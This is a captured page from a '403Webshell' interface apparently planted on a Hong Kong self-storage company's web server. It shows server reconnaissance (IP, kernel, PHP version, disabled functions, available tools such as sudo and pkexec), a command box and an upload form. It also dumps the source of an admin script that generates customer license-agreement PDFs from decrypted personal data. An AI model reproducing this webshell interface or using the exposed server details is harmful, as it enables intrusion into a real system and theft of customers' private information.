403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/innoutstorage/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/innoutstorage/webadmin/output_order2_test.php
<?php
require_once('check_login.php');
require_once 'dompdf/autoload.inc.php';

use Dompdf\Dompdf;
use Dompdf\Options;

set_time_limit(0);
ini_set('memory_limit', '512M');
ini_set('apc.cache_by_default', 0);

if(empty($_GET["order_id"]) || (int)$_GET["order_id"] <= 0){
    echo "<script>alert('請選擇正確的合約。'); history.back();</script>";
    exit;
}

date_default_timezone_set('Asia/Hong_Kong');

ini_set('apc.cache_by_default', 0);

if (PHP_SAPI == 'cli')
    die('This example should only be run from a Web Browser');

//get order data
$order_id = (int)$_GET["order_id"];
if(!empty($order_id)){
    $order_info = get_order($order_id);
    $order_room_info = get_order_room($order_id);
    $order_room_list = "";
    foreach($order_room_info as $order_room){
        $room_info = get_room($order_room["room_id"]);
        $order_room_list .= check_combine_room($room_info["code"]).", ";
    }
    $order_room_list = substr_replace($order_room_list, "", -2);

    //$customer_info = get_customer($order_info["customer_id"]);

    $location_info = get_location($order_info["location_id"]);
    $Licensor_en = $location_info['contract_en'];
    $Licensor_tc = $location_info['contract_tc'];

    $sql       = "SELECT * FROM otherspage WHERE ospageid = 3";
    $row       = bind_pdo($sql, null, "selectone");
    $wine_terms = "";
    $wine_terms_en = "";
    if($order_info["location_id"] == 8){
        $wine_terms = '<div class="page_break"></div>' . nl2br($row["wine_ospagedesc_tc"]);
        $wine_terms_en = '<div class="page_break"></div>' . nl2br($row["wine_ospagedesc_en"]);
    }
    $terms_txt = '<div class="page_break"></div>' . nl2br($row["ospagedesc_tc"]);
    $terms_txt_en = '<div class="page_break"></div>' . nl2br($row["ospagedesc_en"]);

    if($order_info["customer_typeid"] == "PERSONAL"){
        $idno = "Identification Number 身份證明號碼 :" . rsa_crypt($order_info["customer_identity_id"], 2);
        $name = "Name 姓名 :" . $order_info["customer_name"];
    }else{
        $idno = "Business Registration No 商業登記證號碼 :" . rsa_crypt($order_info["customer_identity_id"], 2);
        $name = "Company Name 公司名稱 :" . $order_info["customer_companyname"];
    }

    $paymethod = get_master_type_code("PAYMENT_METHOD", $order_info["paymethod"]);
    if(empty($order_info["paymethod2"]))
        $order_info["paymethod2"] = $order_info["paymethod"];

    $paymethod2 = get_master_type_code("PAYMENT_METHOD", $order_info["paymethod2"]);

    if($order_info["prepaid_month"] > 0){
        $total_prepaid = $order_info["prepaid_amount"]+$order_info["total_order_product"];

        $total_paid = $order_info["last_paid"]+$order_info["prepaid_amount"]+$order_info["total_order_product"];

        //$total_remain = $order_info["total_discounted_price"]*$order_info["rent_month"]+$order_info["deposit"]+$order_info["total_order_product"]-$order_info["last_paid"]-$order_info["prepaid_amount"]-$order_info["free_first_month_deduct"]-$order_info["free_2_month_deduct"];
        //kelvin, 20200803
        $total_remain = $order_info["total_discounted_price"]*$order_info["rent_month"]+$order_info["deposit"]+$order_info["total_order_product"]-$order_info["last_paid"]-$total_prepaid-$order_info["free_first_month_deduct"]-$order_info["free_2_month_deduct"]-$order_info["discount_amount"];
    }else{
        //prevent error
        if($order_info["prepaid_month"] == 0){
            $total_prepaid = 0;

            $total_paid = $order_info["last_paid"];
            $total_remain = $order_info["total_discounted_price"]*$order_info["rent_month"]+$order_info["deposit"]+$order_info["total_order_product"]-$order_info["last_paid"]-$order_info["prepaid_amount"]-$order_info["free_first_month_deduct"]-$order_info["free_2_month_deduct"]-$order_info["discount_amount"];
        }
    }

    //unit change
    if($order_info["createdate"] > "2017-04-27 18:00:00"){
        $unit = "平方呎";
    }else{
        $unit = "立方呎";
    }

    if($order_info['renew'] == 1){
        $rent_txt = "租金以".$paymethod2["name_tc"]."支付";
        $rent_txt2 = "";
    }else{
        $rent_txt = $paymethod["name_tc"] == "未付" ? "按金未付" : "按金以".$paymethod["name_tc"]."支付".($order_info["paymethod"] == "CREDIT_CARD"?" (並會扣除3%手續費)":"");
        $rent_txt2 = $paymethod2["name_tc"] == "未付" ? "租金未付" : "租金以".$paymethod2["name_tc"]."支付";
    }

    $contact = "";
    if($order_info["customer_typeid"] == "BUSINESS"){
        $contact = "Contact Person 聯絡人 :" . $order_info["customer_name"] . "<br>";
    }

    $content = "<!doctype html>
<html lang='en'>
<head>
  <meta charset='utf-8'>
  <title></title>
  <style>
	table {
		width: 100%;
	}

	* {
		font-family: 'simsun';
	}
  
	/** 
	Set the margins of the page to 0, so the footer and the header
	can be of the full height and width !
	**/
	@page {
		margin: 0cm 0cm;
	}

	/** Define now the real margins of every page in the PDF **/
	body {
		margin-top: 3cm;
		margin-left: 0.5cm;
		margin-right: 0.5cm;
		margin-bottom: 0.5cm;
	}

	/** Define the header rules **/
	header {
		position: fixed;
		top: 0cm;
		left: 0cm;
		right: 0cm;
		height: 3cm;
	}

	/** Define the footer rules **/
	footer {
		position: fixed; 
		bottom: 0cm; 
		left: 0cm; 
		right: 0cm;
		height: 2cm;
	}
	
	u {
		text-decoration: none;
		border-bottom: 1px solid #333;
		padding-bottom: 5px;
		display: inline-block;
		font-size: 11px;
	}
	
	td {
		font-size: 11px;
		word-wrap: break-word;
		padding: 0;
	}
	
	p {
		margin-top: 0;
		font-size: 11px;
	}
	
	.page_break {
		page-break-before: always;
	}
	
	.terms p {
		font-size: 10px;
		word-wrap: break-word;
	}
	
	.terms p.title {
		font-size: 15px;
		text-align: center;
		margin: 0;
	}
  </style>
</head>
<body>
	<header>
		<img src='http://" . $_SERVER['SERVER_NAME'] . "/webadmin/pdf_template/header.png' width='100%' height='100%'/>
	</header>
	<p style='font-size: 15px; text-align: center; margin: 0;'>Unit Storage License Agreement<br>單位儲存許可協議書</p>
	<table>
		<tr>
			<td>License Agreement Number 許可協議書編號: " . $order_info["code"] . "</td>
			<td style='text-align: right;'>Date 日期: " . date("Y-m-d") . "</td>
		</tr>
	</table>
	<table style='table-layout:fixed;'>
		<tr>
			<td style='width: 20%;'>Licensor:<br>許可人:</td>
			<td style='width: 80%;'>$Licensor_en<br>$Licensor_tc</td>
		</tr>
	</table>
	<br>
	<b><u>Licensee Information 被許可人資料</u></b>
	<p>$idno<br>
	$name<br>
	Address 地址: " . rsa_crypt($order_info["customer_address"], 2) . "<br>
	$contact
	Contact Phone 聯絡電話: " . rsa_crypt($order_info["customer_tel"], 2) . "<br>
	E-Mail Address 電郵地址: " . rsa_crypt($order_info["customer_email"], 2) . "<br>
	</p>
	<b><u>Agreed Terms By Licensor and Licensee</u></b>
	<p>Unit Number 單位號碼: $order_room_list<br>
	Customer I.D. 顧客編號: " . $order_info['customer_code'] . "<br>
	Approximate Size 大約面積: " . $order_info["roughly_size"].$unit . "<br>
	Effective Date 生效日期: " . $order_info["startdate"]." 至 ".$order_info["enddate"] . "<br>
	Smart Card No. 智能卡號碼: " . $order_info["room_key"] . "<br>
	</p>
	<table>
	<tr>
		<td><b><u>Fees and Charges 費用及收費</u></b></td>
		<td style='text-align: right;'>港幣 : HKD$" . numberformat($order_info["total_discounted_price"])." x ".$order_info["rent_month"] . "月</td>
	</tr>
	<tr>
		<td>Monthly License Fee 每月許可費:</td>
		<td style='text-align: right;'>(原價 : HKD$" . numberformat($order_info["total_retail_price"]) . ")</td>
	</tr>
	<tr>
		<td>Effective Duration Fee 有效期價:</td>
		<td style='text-align: right;'>港幣 : HKD$" . numberformat($order_info["total_discounted_price"]*$order_info["rent_month"]) . "</td>
	</tr>
	<tr>
		<td>Deposit 按金:</td>
		<td style='text-align: right;'>港幣 : HKD$" . numberformat($order_info["deposit"]) . "</td>
	</tr>
	<tr>
		<td>Others 其他:</td>
		<td style='text-align: right;'>港幣 : HKD$" . numberformat($order_info["total_order_product"]) . "</td>
	</tr>
	<tr>
		<td>Discount 租金優惠:</td>
		<td style='text-align: right;'>港幣 : -HKD$" . numberformat($order_info["free_first_month_deduct"]+$order_info["free_2_month_deduct"]) . "</td>
	</tr>
	<tr>
		<td>Other Discount 其餘優惠:</td>
		<td style='text-align: right;'>港幣 : -HKD$" . numberformat($order_info["discount_amount"]) . "</td>
	</tr>
	<tr>
		<td>Total 合計:</td>
		<td style='text-align: right;'>港幣 : HKD$" . numberformat(($order_info["total_discounted_price"]*$order_info["rent_month"])+$order_info["deposit"]+$order_info["total_order_product"]-$order_info["free_first_month_deduct"]-$order_info["free_2_month_deduct"]-$order_info["discount_amount"]) . "</td>
	</tr>
	<tr>
		<td>Paid 已付費用: (預繳: HKD$" . numberformat($total_prepaid) . ")</td>
		<td style='text-align: right;'>港幣 : -HKD$" . numberformat($total_paid) . "</td>
	</tr>
	<tr>
		<td>Remaining Balance 餘款:</td>
		<td style='text-align: right;'>港幣 : HKD$" . numberformat($total_remain) . "</td>
	</tr>
	</table>
	<br>
	<b><u>Remark 備註</b></u>
	<p>" . $order_info["remark"] . "</p>
	<p>$rent_txt<br>$rent_txt2</p>
	<p style='font-size: 10px;'>
	I have read and agreed all the terms and conditions in this License Agreement and that of the company annexed hereto which this agreement is subject to my signature below indicates acceptance thereof.<br>
	In case of any disputes, In N Out International Corporate Limited reserves the right of final decision.<br>
	本人已經閱讀並同意本許可協議及借用條款及細則。<br>
	本人在下欄的簽署表示本人接受該等條文及聲明。<br>
	如有任何爭議 , 出入易國際有限公司保留最終之決定權。
	</p>
	<table>
		<tr>
			<td>
				Licensee Signature 被許可人簽署<br>
				<div style='height: 60px; display: block;'></div>
				_________________________________<br>Date 日期 " . date("Y-m-d") . "
			</td> 																							
			<td>
				Licensor Signature 許可人簽署<br>
				<div style='height: 60px; display: block; position: relative;'>
					<img src='http://" . $_SERVER['SERVER_NAME'] . "/webadmin/pdf_template/chop.jpg' style='width: 60px; left: 16%; position: absolute; top: 5px;'>
				</div>
				_________________________________<br>Date 日期 " . date("Y-m-d") . "
			</td>
		</tr>
	</table>
</body>
</html>";

    $options = new Options();
    $options->set('isHtml5ParserEnabled', true);
    $options->set('isRemoteEnabled', true);
    $options->set('isFontSubsettingEnabled', true);
    $dompdf = new Dompdf($options);
    $dompdf->loadHtml($content);
    $dompdf->render();
    $dompdf->stream(str_replace(",", "_", $order_room_list) . "_" . date("d-m-Y", strtotime($order_info["startdate"])) . "_" . date("d-m-Y", strtotime($order_info["enddate"])) . ".pdf");
}else{
    echo "<script>alert('找不到相關合約。');history.back();</script>";
}
exit;

Youez - 2016 - github.com/yon3zu
LinuXploit